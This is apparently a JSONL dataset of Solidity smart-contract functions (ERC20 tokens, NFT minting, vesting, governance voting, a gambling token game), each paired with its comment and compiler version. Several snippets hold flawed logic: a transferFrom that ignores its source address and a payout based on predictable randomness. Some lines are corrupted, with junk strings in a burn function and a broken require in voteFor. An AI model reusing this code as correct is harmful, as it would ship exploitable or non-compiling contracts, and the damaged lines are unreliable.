from the zero address\");////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBGSHSUACV9[4R]\r\n\r\n//frgwert34rgvfev\r\n _beforeTokenTransfer(account, address(0), amount);////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9SRDGSDFGSDR[4R]\r\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");////////sdfert/weh98pWSEDI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n\r\n//frgwert34rgvfev\r\n _totalSupply = _totalSupply.sub(amount);////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]ASWEE\r\n emit Transfer(account, address(0), amount);}", "version": "0.6.11"} {"comment": "// -----------------------------------\n// reset\n// reset all accounts\n// in case we have any funds that have not been withdrawn, they become\n// newly received and undistributed.\n// -----------------------------------", "function_code": "function reset() {\r\n if (msg.sender != owner) {\r\n StatEvent(\"err: not owner\");\r\n return;\r\n }\r\n if (settingsState == SettingStateValue.locked) {\r\n StatEvent(\"err: locked\");\r\n return;\r\n }\r\n for (uint i = 0; i < numAccounts; i++ ) {\r\n holdoverBalance += partnerAccounts[i].balance;\r\n }\r\n totalFundsReceived = holdoverBalance;\r\n totalFundsDistributed = 0;\r\n totalFundsWithdrawn = 0;\r\n numAccounts = 0;\r\n StatEvent(\"ok: all accts reset\");\r\n }", "version": "0.4.8"} {"comment": "// -----------------------------------\n// set even distribution threshold\n// -----------------------------------", "function_code": "function setEvenDistThresh(uint256 _thresh) {\r\n if (msg.sender != owner) {\r\n StatEvent(\"err: not owner\");\r\n return;\r\n }\r\n if (settingsState == SettingStateValue.locked) {\r\n StatEvent(\"err: locked\");\r\n return;\r\n }\r\n evenDistThresh = (_thresh / TENHUNDWEI) * TENHUNDWEI;\r\n StatEventI(\"ok: threshold set\", evenDistThresh);\r\n }", "version": "0.4.8"} {"comment": "// ---------------------------------------------------\n// add a new account\n// ---------------------------------------------------", "function_code": "function addAccount(address _addr, uint256 _pctx10, bool _evenStart) {\r\n if (msg.sender != owner) {\r\n StatEvent(\"err: not owner\");\r\n return;\r\n }\r\n if (settingsState == SettingStateValue.locked) {\r\n StatEvent(\"err: locked\");\r\n return;\r\n }\r\n if (numAccounts >= MAX_ACCOUNTS) {\r\n StatEvent(\"err: max accounts\");\r\n return;\r\n }\r\n partnerAccounts[numAccounts].addr = _addr;\r\n partnerAccounts[numAccounts].pctx10 = _pctx10;\r\n partnerAccounts[numAccounts].evenStart = _evenStart;\r\n partnerAccounts[numAccounts].credited = 0;\r\n partnerAccounts[numAccounts].balance = 0;\r\n ++numAccounts;\r\n StatEvent(\"ok: acct added\");\r\n }", "version": "0.4.8"} {"comment": "// ----------------------------\n// get acct info\n// ----------------------------", "function_code": "function getAccountInfo(address _addr) constant returns(uint _idx, uint _pctx10, bool _evenStart, uint _credited, uint _balance) {\r\n for (uint i = 0; i < numAccounts; i++ ) {\r\n address addr = partnerAccounts[i].addr;\r\n if (addr == _addr) {\r\n _idx = i;\r\n _pctx10 = partnerAccounts[i].pctx10;\r\n _evenStart = partnerAccounts[i].evenStart;\r\n _credited = partnerAccounts[i].credited;\r\n _balance = partnerAccounts[i].balance;\r\n StatEvent(\"ok: found acct\");\r\n return;\r\n }\r\n }\r\n StatEvent(\"err: acct not found\");\r\n }", "version": "0.4.8"} {"comment": "// ----------------------------\n// get no. accts that are set for even split\n// ----------------------------", "function_code": "function getNumEvenSplits() constant returns(uint _numEvenSplits) {\r\n _numEvenSplits = 0;\r\n for (uint i = 0; i < numAccounts; i++ ) {\r\n if (partnerAccounts[i].evenStart) {\r\n ++_numEvenSplits;\r\n }\r\n }\r\n StatEventI(\"ok: even splits\", _numEvenSplits);\r\n }", "version": "0.4.8"} {"comment": "// ----------------------------\n// withdraw account balance\n// ----------------------------", "function_code": "function withdraw() {\r\n for (uint i = 0; i < numAccounts; i++ ) {\r\n address addr = partnerAccounts[i].addr;\r\n if (addr == msg.sender || msg.sender == owner) {\r\n uint amount = partnerAccounts[i].balance;\r\n if (amount == 0) { \r\n StatEvent(\"err: balance is zero\");\r\n } else {\r\n partnerAccounts[i].balance = 0;\r\n totalFundsWithdrawn += amount;\r\n if (!addr.call.gas(withdrawGas).value(amount)())\r\n throw;\r\n StatEventI(\"ok: rewards paid\", amount);\r\n }\r\n }\r\n }\r\n }", "version": "0.4.8"} {"comment": "/**\r\n * @dev Function is used to perform a multi-transfer operation. This could play a significant role in the Ammbr Mesh Routing protocol.\r\n * \r\n * Mechanics:\r\n * Sends tokens from Sender to destinations[0..n] the amount tokens[0..n]. Both arrays\r\n * must have the same size, and must have a greater-than-zero length. Max array size is 127.\r\n * \r\n * IMPORTANT: ANTIPATTERN\r\n * This function performs a loop over arrays. Unless executed in a controlled environment,\r\n * it has the potential of failing due to gas running out. This is not dangerous, yet care\r\n * must be taken to prevent quality being affected.\r\n * \r\n * @param destinations An array of destinations we would be sending tokens to\r\n * @param tokens An array of tokens, sent to destinations (index is used for destination->token match)\r\n */", "function_code": "function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){\r\n // Two variables must match in length, and must contain elements\r\n // Plus, a maximum of 127 transfers are supported\r\n assert(destinations.length > 0);\r\n assert(destinations.length < 128);\r\n assert(destinations.length == tokens.length);\r\n // Check total requested balance\r\n uint8 i = 0;\r\n uint totalTokensToTransfer = 0;\r\n for (i = 0; i < destinations.length; i++){\r\n assert(tokens[i] > 0);\r\n totalTokensToTransfer += tokens[i];\r\n }\r\n // Do we have enough tokens in hand?\r\n assert (balances[msg.sender] > totalTokensToTransfer);\r\n // We have enough tokens, execute the transfer\r\n balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);\r\n for (i = 0; i < destinations.length; i++){\r\n // Add the token to the intended destination\r\n balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);\r\n // Call the event...\r\n emit Transfer(msg.sender, destinations[i], tokens[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// Admin minting function to mint for the team, collabs, customs and giveaways", "function_code": "function mintReserved(uint256 _amount, address _receiver) public onlyOwner {\r\n // Limited to a publicly set amount\r\n require( _amount <= reserved, \"Can't mint more than set amount\" );\r\n reserved -= _amount;\r\n uint256 supply = totalSupply();\r\n for(uint256 i = 1; i <= _amount; i++){\r\n _safeMint(_receiver, supply + i);\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Withdraw funds from contract for the team", "function_code": "function withdrawTeam(uint256 amount) public payable onlyOwner {\r\n uint256 percent = amount / 100;\r\n // 45% Split evenly among the team\r\n require(payable(w1).send(percent * 45));\r\n require(payable(w2).send(percent * 45));\r\n // 10% to the community pool\r\n require(payable(w3).send(percent * 10));\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Transfer given number of token from the signed defined by digital signature\r\n * to given recipient.\r\n *\r\n * @param _to address to transfer token to the owner of\r\n * @param _value number of tokens to transfer\r\n * @param _fee number of tokens to give to message sender\r\n * @param _nonce nonce of the transfer\r\n * @param _v parameter V of digital signature\r\n * @param _r parameter R of digital signature\r\n * @param _s parameter S of digital signature\r\n */", "function_code": "function delegatedTransfer (\r\n address _to, uint256 _value, uint256 _fee,\r\n uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s)\r\n public virtual returns (bool) {\r\n if (frozen) return false;\r\n else {\r\n address _from = ecrecover (\r\n keccak256 (\r\n abi.encodePacked (\r\n thisAddress (), messageSenderAddress (), _to, _value, _fee, _nonce)),\r\n _v, _r, _s);\r\n\r\n if (_from == address (0)) return false;\r\n\r\n if (_nonce != nonces [_from]) return false;\r\n\r\n if (\r\n (addressFlags [_from] | addressFlags [_to]) & BLACK_LIST_FLAG ==\r\n BLACK_LIST_FLAG)\r\n return false;\r\n\r\n uint256 balance = accounts [_from];\r\n if (_value > balance) return false;\r\n balance = balance - _value;\r\n if (_fee > balance) return false;\r\n balance = balance - _fee;\r\n\r\n nonces [_from] = _nonce + 1;\r\n\r\n accounts [_from] = balance;\r\n accounts [_to] = accounts [_to] + _value;\r\n accounts [msg.sender] = accounts [msg.sender] + _fee;\r\n\r\n Transfer (_from, _to, _value);\r\n Transfer (_from, msg.sender, _fee);\r\n\r\n return true;\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Create tokens.\r\n *\r\n * @param _value number of tokens to be created.\r\n */", "function_code": "function createTokens (uint256 _value)\r\n public virtual returns (bool) {\r\n require (msg.sender == owner);\r\n\r\n if (_value > 0) {\r\n if (_value <= MAX_TOKENS_COUNT - tokensCount) {\r\n accounts [msg.sender] = accounts [msg.sender] + _value;\r\n tokensCount = tokensCount + _value;\r\n\r\n Transfer (address (0), msg.sender, _value);\r\n\r\n return true;\r\n } else return false;\r\n } else return true;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Burn tokens.\r\n *\r\n * @param _value number of tokens to burn\r\n */", "function_code": "function burnTokens (uint256 _value)\r\n public virtual returns (bool) {\r\n require (msg.sender == owner);\r\n\r\n if (_value > 0) {\r\n if (_value <= accounts [msg.sender]) {\r\n accounts [msg.sender] = accounts [msg.sender] - _value;\r\n tokensCount = tokensCount - _value;\r\n\r\n Transfer (msg.sender, address (0), _value);\r\n\r\n return true;\r\n } else return false;\r\n } else return true;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Transfer tokens from an different address to another address.\r\n * Need to have been granted an allowance to do this before triggering.\r\n */", "function_code": "function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {\r\n var _allowance = allowed[_from][msg.sender];\r\n\r\n // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met\r\n // if (_value > _allowance) throw;\r\n\r\n balances[_to] = balances[_to].add(_value);\r\n balances[_from] = balances[_from].sub(_value);\r\n allowed[_from][msg.sender] = _allowance.sub(_value);\r\n Transfer(_from, _to, _value);\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * Approve the indicated address to spend the specified amount of tokens on the sender's behalf\r\n */", "function_code": "function approve(address _spender, uint _value) {\r\n // Ensure allowance is zero if attempting to set to a non-zero number\r\n // This helps manage an edge-case race condition better: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 \r\n if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;\r\n \r\n allowed[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n }", "version": "0.4.11"} {"comment": "/// @notice Allow registered voter to vote 'for' proposal\n/// @param _id Proposal id", "function_code": "function voteFor(uint256 _id) public {\r\n require(proposals[_id].start < block.number, \" block.number, \">end\");\r\n\r\n uint256 _against = proposals[_id].againstVotes[_msgSender()];\r\n if (_against > 0) {\r\n proposals[_id].totalAgainstVotes = proposals[_id].totalAgainstVotes.sub(_against);\r\n proposals[_id].againstVotes[_msgSender()] = 0;\r\n }\r\n\r\n uint256 vote = votesOf(_msgSender()).sub(proposals[_id].forVotes[_msgSender()]);\r\n proposals[_id].totalForVotes = proposals[_id].totalForVotes.add(vote);\r\n proposals[_id].forVotes[_msgSender()] = votesOf(_msgSender());\r\n\r\n proposals[_id].totalVotesAvailable = totalVotes;\r\n uint256 _votes = proposals[_id].totalForVotes.add(proposals[_id].totalAgainstVotes);\r\n proposals[_id].quorum = _votes.mul(10000).div(totalVotes);\r\n\r\n voteLock[_msgSender()] = lock.add(block.number);\r\n\r\n emit Vote(_id, _msgSender(), true, vote);\r\n }", "version": "0.6.3"} {"comment": "/* Use admin powers to send from a users account */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){\r\n require (_to != 0x0); // Prevent transfer to 0x0 address\r\n require (balances[msg.sender] > _value); // Check if the sender has enough\r\n require (balances[_to] + _value > balances[_to]); // Check for overflows\r\n require (allowed[_from][msg.sender] >= _value); // Only allow if sender is allowed to do this\r\n _transfer(msg.sender, _to, _value); // Perform actually transfer\r\n Transfer(msg.sender, _to, _value); // Trigger Transfer event\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "/* Function to authenticate user\r\n Restricted to whitelisted partners */", "function_code": "function authenticate(uint _value, uint _challenge, uint _partnerId) public {\r\n require(whitelist[_partnerId][msg.sender]); // Make sure the sender is whitelisted\r\n require(balances[msg.sender] > _value); // Check if the sender has enough\r\n require(hydroPartnerMap[_partnerId][msg.sender].value == _value);\r\n updatePartnerMap(msg.sender, _value, _challenge, _partnerId);\r\n transfer(owner, _value);\r\n Authenticate(_partnerId, msg.sender, _value);\r\n }", "version": "0.4.20"} {"comment": "/* Function called by Hydro API to check if the partner has validated\r\n * The partners value and data must match and it must be less than a day since the last authentication\r\n */", "function_code": "function validateAuthentication(address _sender, uint _challenge, uint _partnerId) public constant returns (bool _isValid) {\r\n if (partnerMap[_partnerId][_sender].value == hydroPartnerMap[_partnerId][_sender].value\r\n && block.timestamp < hydroPartnerMap[_partnerId][_sender].timestamp\r\n && partnerMap[_partnerId][_sender].challenge == _challenge){\r\n return true;\r\n }\r\n return false;\r\n }", "version": "0.4.20"} {"comment": "/**\r\n * @dev get all GreedyCoins of msg.sender\r\n */", "function_code": "function getMyTokens() external view returns ( uint256[] arr_token_id, uint256[] arr_last_deal_time, uint256[] buying_price_arr, uint256[] price_arr ){\r\n\r\n TokenGDC memory token;\r\n\r\n uint256 count = stOwnerTokenCount[msg.sender];\r\n arr_last_deal_time = new uint256[](count);\r\n buying_price_arr = new uint256[](count);\r\n price_arr = new uint256[](count);\r\n arr_token_id = new uint256[](count);\r\n\r\n uint256 index = 0;\r\n for ( uint i = 0; i < stTokens.length; i++ ){\r\n if ( stTokenIndexToOwner[i] == msg.sender ) {\r\n token = stTokens[i];\r\n arr_last_deal_time[index] = token.last_deal_time;\r\n buying_price_arr[index] = token.buying_price;\r\n price_arr[index] = token.price;\r\n arr_token_id[index] = i;\r\n index = index + 1;\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "// buy (only accept normal address)", "function_code": "function buy(uint256 next_price, bool is_recommend, uint256 recommend_token_id) external payable mustCommonAddress {\r\n\r\n require (next_price >= PRICE_MIN && next_price <= PRICE_LIMIT);\r\n\r\n _checkRecommend(is_recommend,recommend_token_id);\r\n if (stTokens.length < ISSUE_MAX ){\r\n _buyAndCreateToken(next_price,is_recommend,recommend_token_id);\r\n } else {\r\n _buyFromMarket(next_price,is_recommend,recommend_token_id);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// get the cheapest GreedyCoin", "function_code": "function _getCurrentTradableToken() private view returns(uint256 token_id) {\r\n uint256 token_count = stTokens.length;\r\n uint256 min_price = stTokens[0].price;\r\n token_id = 0;\r\n for ( uint i = 0; i < token_count; i++ ){\r\n // token = stTokens[i];\r\n uint256 price = stTokens[i].price;\r\n if (price < min_price) {\r\n // token = stTokens[i];\r\n min_price = price;\r\n token_id = i;\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "// create GreedyCoin", "function_code": "function _buyAndCreateToken(uint256 next_price, bool is_recommend, uint256 recommend_token_id ) private {\r\n\r\n require( msg.value >= START_PRICE );\r\n\r\n // create\r\n uint256 now_time = now;\r\n uint256 token_id = stTokens.length;\r\n TokenGDC memory token;\r\n token = TokenGDC({\r\n token_hash: keccak256(abi.encodePacked((address)(this), token_id)),\r\n last_deal_time: now_time,\r\n buying_price: START_PRICE,\r\n price: next_price\r\n });\r\n stTokens.push(token);\r\n\r\n stTokenIndexToOwner[token_id] = msg.sender;\r\n stOwnerTokenCount[msg.sender] = stOwnerTokenCount[msg.sender].add(1);\r\n\r\n // 10% fee\r\n uint256 current_fund = START_PRICE.div(100 / PROCEDURE_FEE_PERCENT);\r\n\r\n // hash of GreedyCoin\r\n bytes32 current_token_hash = token.token_hash;\r\n\r\n owner.transfer( START_PRICE - current_fund );\r\n\r\n // if get all fees\r\n _gambling(current_fund, current_token_hash, now_time);\r\n\r\n // recommendation\r\n _awardForRecommender(is_recommend, recommend_token_id, current_fund);\r\n\r\n _refund(msg.value - START_PRICE);\r\n\r\n // emit event\r\n emit Bought(msg.sender, START_PRICE, next_price);\r\n\r\n }", "version": "0.4.24"} {"comment": "// buy GreedyCoin from each other,after all GreedyCoins has been created", "function_code": "function _buyFromMarket(uint256 next_price, bool is_recommend, uint256 recommend_token_id ) private {\r\n\r\n uint256 current_tradable_token_id = _getCurrentTradableToken();\r\n TokenGDC storage token = stTokens[current_tradable_token_id];\r\n\r\n uint256 current_token_price = token.price;\r\n\r\n bytes32 current_token_hash = token.token_hash;\r\n\r\n uint256 last_deal_time = token.last_deal_time;\r\n\r\n require( msg.value >= current_token_price );\r\n\r\n uint256 refund_amount = msg.value - current_token_price;\r\n\r\n token.price = next_price;\r\n\r\n token.buying_price = current_token_price;\r\n\r\n token.last_deal_time = now;\r\n\r\n address origin_owner = stTokenIndexToOwner[current_tradable_token_id];\r\n\r\n stOwnerTokenCount[origin_owner] = stOwnerTokenCount[origin_owner].sub(1);\r\n\r\n stOwnerTokenCount[msg.sender] = stOwnerTokenCount[msg.sender].add(1);\r\n\r\n stTokenIndexToOwner[current_tradable_token_id] = msg.sender;\r\n\r\n uint256 current_fund = current_token_price.div(100 / PROCEDURE_FEE_PERCENT);\r\n\r\n origin_owner.transfer( current_token_price - current_fund );\r\n\r\n _gambling(current_fund, current_token_hash, last_deal_time);\r\n\r\n _awardForRecommender(is_recommend, recommend_token_id, current_fund);\r\n\r\n _refund(refund_amount);\r\n\r\n emit Bought(msg.sender, current_token_price, next_price);\r\n }", "version": "0.4.24"} {"comment": "// 10% change of getting all blance of fees", "function_code": "function _gambling(uint256 current_fund, bytes32 current_token_hash, uint256 last_deal_time) private {\r\n\r\n // random 0 - 99\r\n uint256 random_number = _createRandomNumber(current_token_hash,last_deal_time);\r\n\r\n if ( random_number < 10 ) {\r\n\r\n // contract address\r\n address contract_address = (address)(this);\r\n\r\n uint256 hit_funds = contract_address.balance.sub(current_fund);\r\n\r\n msg.sender.transfer(hit_funds);\r\n\r\n emit HitFunds(msg.sender, hit_funds, now);\r\n }\r\n }", "version": "0.4.24"} {"comment": "//mint KandiKids", "function_code": "function mintKandiKids(uint256 _count) external payable {\r\n if (msg.sender != owner()) {\r\n require(saleOpen, \"Sale is not open yet\");\r\n require(\r\n _count > 0 && _count <= 10,\r\n \"Min 1 & Max 10 Kandi Kids can be minted per transaction\"\r\n );\r\n require(\r\n msg.value >= price * _count,\r\n \"Ether sent with this transaction is not correct\"\r\n );\r\n }\r\n require(\r\n totalSupply() + _count <= MAX_KANDIKIDS,\r\n \"Transaction will exceed maximum supply of Kandi Kids\"\r\n );\r\n\r\n address _to = msg.sender;\r\n\r\n for (uint256 i = 0; i < _count; i++) {\r\n _mint(_to);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/*\n \t * This is how you get one, or more...\n \t */", "function_code": "function acquire(uint256 amount) public payable nonReentrant {\n\t\trequire(amount > 0, \"minimum 1 token\");\n\t\trequire(amount <= totalTokenToMint - tokenIndex, \"greater than max supply\");\n\t\trequire(isSaleActive, \"sale is not active\");\n\t\trequire(amount <= 20, \"max 20 tokens at once\");\n\t\trequire(getPricePerToken() * amount == msg.value, \"exact value in ETH needed\");\n\t\tfor (uint256 i = 0; i < amount; i++) {\n\t\t\t_mintToken(_msgSender());\n\t\t}\n\t}", "version": "0.8.6"} {"comment": "//in case tokens are not sold, admin can mint them for giveaways, airdrops etc", "function_code": "function adminMint(uint256 amount) public onlyOwner {\n\t\trequire(amount > 0, \"minimum 1 token\");\n\t\trequire(amount <= totalTokenToMint - tokenIndex, \"amount is greater than the token available\");\n\t\tfor (uint256 i = 0; i < amount; i++) {\n\t\t\t_mintToken(_msgSender());\n\t\t}\n\t}", "version": "0.8.6"} {"comment": "/*\n \t * Helper function\n \t */", "function_code": "function tokensOfOwner(address _owner) external view returns (uint256[] memory) {\n\t\tuint256 tokenCount = balanceOf(_owner);\n\t\tif (tokenCount == 0) {\n\t\t\t// Return an empty array\n\t\t\treturn new uint256[](0);\n\t\t} else {\n\t\t\tuint256[] memory result = new uint256[](tokenCount);\n\t\t\tuint256 index;\n\t\t\tfor (index = 0; index < tokenCount; index++) {\n\t\t\t\tresult[index] = tokenOfOwnerByIndex(_owner, index);\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}", "version": "0.8.6"} {"comment": "/**\r\n * @dev Unlock vested tokens and transfer them to their holder.\r\n */", "function_code": "function unlockVestedTokens() external {\r\n Grant storage grant_ = grants[msg.sender];\r\n\r\n // Require that the grant is not empty.\r\n require(grant_.value != 0);\r\n \r\n // Get the total amount of vested tokens, according to grant.\r\n uint256 vested = calculateVestedTokens(grant_, block.timestamp);\r\n \r\n if (vested == 0) {\r\n return;\r\n }\r\n \r\n // Make sure the holder doesn't transfer more than what he already has.\r\n \r\n uint256 transferable = vested.sub(grant_.transferred);\r\n \r\n if (transferable == 0) {\r\n return;\r\n }\r\n \r\n // Update transferred and total vesting amount, then transfer remaining vested funds to holder.\r\n grant_.transferred = grant_.transferred.add(transferable);\r\n totalVesting = totalVesting.sub(transferable);\r\n \r\n token.safeTransfer(msg.sender, transferable);\r\n\r\n emit TokensUnlocked(msg.sender, transferable);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Grant tokens to a specified address. Please note, that the trustee must have enough ungranted tokens\r\n * to accomodate the new grant. Otherwise, the call with fail.\r\n * @param _to address The holder address.\r\n * @param _value uint256 The amount of tokens to be granted.\r\n * @param _start uint256 The beginning of the vesting period.\r\n * @param _cliff uint256 Point in time of the end of the cliff period (when the first installment is made).\r\n * @param _end uint256 The end of the vesting period.\r\n * @param _installmentLength uint256 The length of each vesting installment (in seconds).\r\n * @param _revocable bool Whether the grant is revocable or not.\r\n */", "function_code": "function granting(address _to, uint256 _value, uint256 _start, uint256 _cliff, uint256 _end,\r\n uint256 _installmentLength, bool _revocable)\r\n external onlyOwner \r\n { \r\n require(_to != address(0));\r\n \r\n // Don't allow holder to be this contract.\r\n require(_to != address(this));\r\n \r\n require(_value > 0);\r\n \r\n // Require that every holder can be granted tokens only once.\r\n require(grants[_to].value == 0);\r\n \r\n // Require for time ranges to be consistent and valid.\r\n require(_start <= _cliff && _cliff <= _end);\r\n \r\n // Require installment length to be valid and no longer than (end - start).\r\n require(_installmentLength > 0 && _installmentLength <= _end.sub(_start));\r\n \r\n // Grant must not exceed the total amount of tokens currently available for vesting.\r\n require(totalVesting.add(_value) <= token.balanceOf(address(this)));\r\n \r\n // Assign a new grant.\r\n grants[_to] = Grant({\r\n value: _value,\r\n start: _start,\r\n cliff: _cliff,\r\n end: _end,\r\n installmentLength: _installmentLength,\r\n transferred: 0,\r\n revocable: _revocable\r\n });\r\n \r\n // Since tokens have been granted, increase the total amount available for vesting.\r\n totalVesting = totalVesting.add(_value);\r\n \r\n emit NewGrant(msg.sender, _to, _value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Calculate amount of vested tokens at a specifc time.\r\n * @param _grant Grant The vesting grant.\r\n * @param _time uint256 The time to be checked\r\n * @return a uint256 Representing the amount of vested tokens of a specific grant.\r\n */", "function_code": "function calculateVestedTokens(Grant _grant, uint256 _time) private pure returns (uint256) {\r\n // If we're before the cliff, then nothing is vested.\r\n if (_time < _grant.cliff) {\r\n return 0;\r\n }\r\n \r\n // If we're after the end of the vesting period - everything is vested;\r\n if (_time >= _grant.end) {\r\n return _grant.value;\r\n }\r\n \r\n // Calculate amount of installments past until now.\r\n // NOTE result gets floored because of integer division.\r\n uint256 installmentsPast = _time.sub(_grant.start).div(_grant.installmentLength);\r\n \r\n // Calculate amount of days in entire vesting period.\r\n uint256 vestingDays = _grant.end.sub(_grant.start);\r\n \r\n // Calculate and return installments that have passed according to vesting days that have passed.\r\n return _grant.value.mul(installmentsPast.mul(_grant.installmentLength)).div(vestingDays);\r\n }", "version": "0.4.24"} {"comment": "// claim txs will revert if any tokenids are not claimable", "function_code": "function claim(\n uint256[] memory tokenIds,\n uint256[] memory amounts,\n uint256 nonce,\n uint256 timestamp,\n bytes memory signature\n ) external payable override nonReentrant {\n address sender = _msgSender();\n address recovered = ECDSA.recover(\n ECDSA.toEthSignedMessageHash(\n keccak256(\n abi.encode(sender, tokenIds, amounts, nonce, timestamp)\n )\n ),\n signature\n );\n require(\n tokenIds.length > 0 && tokenIds.length == amounts.length,\n \"Array lengths are invalid\"\n );\n require(\n recovered == admin() || recovered == owner(),\n \"Not authorized to claim\"\n );\n\n _mintBatch(sender, tokenIds, amounts, \"\");\n delete recovered;\n delete sender;\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Set an updateManager for an account\r\n * @param _owner - address of the account to set the updateManager\r\n * @param _operator - address of the account to be set as the updateManager\r\n * @param _approved - bool whether the address will be approved or not\r\n */", "function_code": "function setUpdateManager(address _owner, address _operator, bool _approved) external {\r\n require(_operator != msg.sender, \"The operator should be different from owner\");\r\n require(\r\n _owner == msg.sender ||\r\n _isApprovedForAll(_owner, msg.sender),\r\n \"Unauthorized user\"\r\n );\r\n\r\n updateManager[_owner][_operator] = _approved;\r\n\r\n emit UpdateManager(\r\n _owner,\r\n _operator,\r\n msg.sender,\r\n _approved\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Register an account balance\r\n * @notice Register land Balance\r\n */", "function_code": "function registerBalance() external {\r\n require(!registeredBalance[msg.sender], \"Register Balance::The user is already registered\");\r\n\r\n // Get balance of the sender\r\n uint256 currentBalance = landBalance.balanceOf(msg.sender);\r\n if (currentBalance > 0) {\r\n require(\r\n landBalance.destroyTokens(msg.sender, currentBalance),\r\n \"Register Balance::Could not destroy tokens\"\r\n );\r\n }\r\n\r\n // Set balance as registered\r\n registeredBalance[msg.sender] = true;\r\n\r\n // Get LAND balance\r\n uint256 newBalance = _balanceOf(msg.sender);\r\n\r\n // Generate Tokens\r\n require(\r\n landBalance.generateTokens(msg.sender, newBalance),\r\n \"Register Balance::Could not generate tokens\"\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Unregister an account balance\r\n * @notice Unregister land Balance\r\n */", "function_code": "function unregisterBalance() external {\r\n require(registeredBalance[msg.sender], \"Unregister Balance::The user not registered\");\r\n\r\n // Set balance as unregistered\r\n registeredBalance[msg.sender] = false;\r\n\r\n // Get balance\r\n uint256 currentBalance = landBalance.balanceOf(msg.sender);\r\n\r\n // Destroy Tokens\r\n require(\r\n landBalance.destroyTokens(msg.sender, currentBalance),\r\n \"Unregister Balance::Could not destroy tokens\"\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Public mints a new token\n * @param hash The hash of the token\n * @param signature The signature of the token\n */", "function_code": "function mint(bytes32 hash, bytes memory signature) external payable onlySender nonReentrant {\n require(!publicMintPaused, \"Mint is paused\");\n\n require(\n hash ==\n keccak256(\n abi.encode(msg.sender, balanceOf(msg.sender), address(this))\n ),\n \"Invalid hash\"\n );\n require(\n ECDSA.recover(ECDSA.toEthSignedMessageHash(hash), signature) ==\n _defender,\n \"Invalid signature\"\n );\n\n uint256 amount = _getMintAmount(msg.value);\n\n require(\n amount <= maxPerTx,\n \"Minting amount exceeds max per transaction\"\n );\n\n require(\n balanceOf(msg.sender) + amount <= maxPerWallet,\n \"You can't mint more than max per wallet\"\n );\n\n _safeMint(msg.sender, amount);\n }", "version": "0.8.7"} {"comment": "/**\n * @dev get the minting amount for the given value\n * @param value The value of the transaction\n */", "function_code": "function _getMintAmount(uint256 value) internal view returns (uint256) {\n uint256 remainder = value % mintPrice;\n require(remainder == 0, \"Send a divisible amount of eth\");\n\n uint256 amount = value / mintPrice;\n require(amount > 0, \"Amount to mint is 0\");\n require(\n (totalSupply() + amount) <= collectionSize - reservedSize,\n \"Sold out!\"\n );\n return amount;\n }", "version": "0.8.7"} {"comment": "// Forward ERC20 methods to upgraded contract if this one is deprecated", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {\r\n require(!isBlackListed[msg.sender]);\r\n require(!isBlackListed[_from]);\r\n require(!isBlackListed[_to]);\r\n if (deprecated) {\r\n return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);\r\n } else {\r\n return super.transferFrom(_from, _to, _value);\r\n }\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @notice Transfers tokens held by timelock to beneficiary.\r\n */", "function_code": "function release() public {\r\n uint256 nowTime = block.timestamp;\r\n uint256 passTime = nowTime - openingTime;\r\n uint256 weeksnow = passTime/2419200;\r\n require(unfreezed[weeksnow] != 1, \"This week we have unfreeze part of the token\");\r\n uint256 amount = getPartReleaseAmount();\r\n require(amount > 0, \"the token has finished released\");\r\n unfreezed[weeksnow] = 1;\r\n token.transfer(beneficiary, amount);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n *@dev getMonthRelease is the function to get todays month realse\r\n *\r\n */", "function_code": "function getPartReleaseAmount() public view returns(uint256){\r\n uint stage = getStage();\r\n for( uint i = 0; i <= stage; i++ ) {\r\n uint256 stageAmount = totalFreeze/2;\r\n }\r\n uint256 amount = stageAmount*2419200/126230400;\r\n return amount;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n *@dev getStage is the function to get which stage the lock is on, four year will change the stage\r\n *@return uint256\r\n */", "function_code": "function getStage() public view returns(uint256) {\r\n uint256 nowTime = block.timestamp;\r\n uint256 passTime = nowTime - openingTime;\r\n uint256 stage = passTime/126230400; //stage is the lock is on, a day is 86400 seconds\r\n return stage;\r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Mint `count` tokens if requirements are satisfied.\r\n * \r\n */", "function_code": "function mintTokens(uint256 count)\r\n public\r\n payable\r\n nonReentrant{\r\n require(_isPublicMintEnabled, \"Mint disabled\");\r\n require(count > 0 && count <= 100, \"You can 